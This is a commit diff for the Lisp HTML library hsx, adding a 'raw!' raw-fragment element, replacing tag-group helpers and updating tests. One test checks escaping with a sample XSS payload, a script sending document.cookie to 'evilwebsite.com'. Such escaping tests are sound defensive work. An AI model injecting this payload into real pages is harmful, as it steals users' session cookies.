paku/hsx
1
0
Fork 0
Code Issues2 Pull requests Projects Releases2 Packages Wiki Activity Actions

Add raw-fragment

Browse source
This commit is contained in:
Akira Tempaku 2025-03-28 12:47:37 +09:00
parent 19baec2ee0
commit aa1efe72cd
Signed by: paku
GPG key ID: 5B4E8402BCC50607
5 changed files with 31 additions and 66 deletions

3
src/builtin.lisp
View file

@ -20,4 +20,5 @@
noscript object ol optgroup option output p param picture pre progress
q rp rt ruby s samp script section select small source span strong
style sub summary sup svg table tbody td template textarea tfoot th
thead |time| title tr track u ul var video wbr <>)
thead |time| title tr track u ul var video wbr
<> raw!)

29
src/element.lisp
View file

@ -3,15 +3,14 @@
(:import-from #:str
#:collapse-whitespaces)
(:import-from #:hsx/utils
#:defgroup
#:escape-html-attribute
#:escape-html-text-content)
#:escape-html-text-content
#:escape-html-attribute)
(:export #:element
#:tag
#:html-tag
#:self-closing-tag
#:non-escaping-tag
#:fragment
#:raw-fragment
#:component
#:create-element
#:element-type
@ -23,12 +22,10 @@
;;; tag group definitions
(defgroup self-closing-tag
area base br col embed hr img input
link meta param source track wbr)
(defgroup non-escaping-tag
script style)
(deftype self-closing-tag-sym ()
'(member
:area :base :br :col :embed :hr :img :input
:link :meta :param :source :track :wbr))
;;;; class definitions
@ -49,10 +46,10 @@
(defclass self-closing-tag (tag) ())
(defclass non-escaping-tag (tag) ())
(defclass fragment (tag) ())
(defclass raw-fragment (fragment) ())
(defclass component (element) ())
;;;; factory
@ -61,9 +58,9 @@
(make-instance
(cond ((functionp type) 'component)
((eq type :<>) 'fragment)
((eq type :raw!) 'raw-fragment)
((eq type :html) 'html-tag)
((self-closing-tag-p type) 'self-closing-tag)
((non-escaping-tag-p type) 'non-escaping-tag)
((typep type 'self-closing-tag-sym) 'self-closing-tag)
((keywordp type) 'tag)
(t (error "element-type must be a keyword or a function.")))
:type type
@ -95,7 +92,7 @@
(if children
(format stream
(if (or (rest children)
(typep (first children) 'element))
(typep (first children) '(and element (not fragment))))
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
type
@ -148,7 +145,7 @@
child))
(element-children element)))
(defmethod render-children ((element non-escaping-tag))
(defmethod render-children ((element raw-fragment))
(element-children element))
(defmethod expand-component ((element component))

18
src/utils.lisp
View file

@ -5,8 +5,7 @@
#:make-keyword
#:symbolicate)
(:export #:escape-html-attribute
#:escape-html-text-content
#:defgroup))
#:escape-html-text-content))
(in-package #:hsx/utils)
(defparameter *text-content-escape-map*
@ -41,18 +40,3 @@
(defun escape-html-attribute (str)
(escape-string str *attribute-escape-map*))
(defun make-keyword-hash-table (symbols)
(let ((ht (make-hash-table)))
(mapcar (lambda (sym)
(setf (gethash (make-keyword sym) ht) t))
symbols)
ht))
(defmacro defgroup (name &body symbols)
(let ((param-name (symbolicate '* name '*))
(pred-name (symbolicate name '-p)))
`(progn
(defparameter ,param-name (make-keyword-hash-table ',symbols))
(defun ,pred-name (keyword)
(gethash keyword ,param-name)))))

31
tests/element.lisp
View file

@ -15,7 +15,6 @@
(ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag))
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
(ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil))))
@ -96,21 +95,6 @@
(list :src "/background.png")
nil)
:pretty t))))
(testing "escaping-tag"
(ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(testing "non-escaping-tag"
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
"alert('<< Do not embed user-generated contents here! >>')")))))
(testing "fragment"
(let ((frg (create-element :<>
nil
@ -140,6 +124,21 @@
(list "brah"))))
:pretty t)))))
(testing "raw-fragment"
(ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
(create-element :raw!
nil
"alert('<< Do not embed user-generated contents here! >>')"))))))
(testing "minify-props-text"
(let ((elm (create-element :div
'(:x-data "{

16
tests/utils.lisp
View file

@ -12,19 +12,3 @@
(testing "escape-html-text-content"
(ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`=")))))
(defgroup fruit
apple banana)
(deftest group-util-test
(testing "defgroup"
(ok (expands '(defgroup fruit apple banana)
'(progn
(defparameter *fruit*
(hsx/utils::make-keyword-hash-table '(apple banana)))
(defun fruit-p (keyword)
(gethash keyword *fruit*)))))
(ok (hash-table-p *fruit*))
(ok (fboundp 'fruit-p))
(ok (fruit-p :apple))
(ng (fruit-p :tomato))))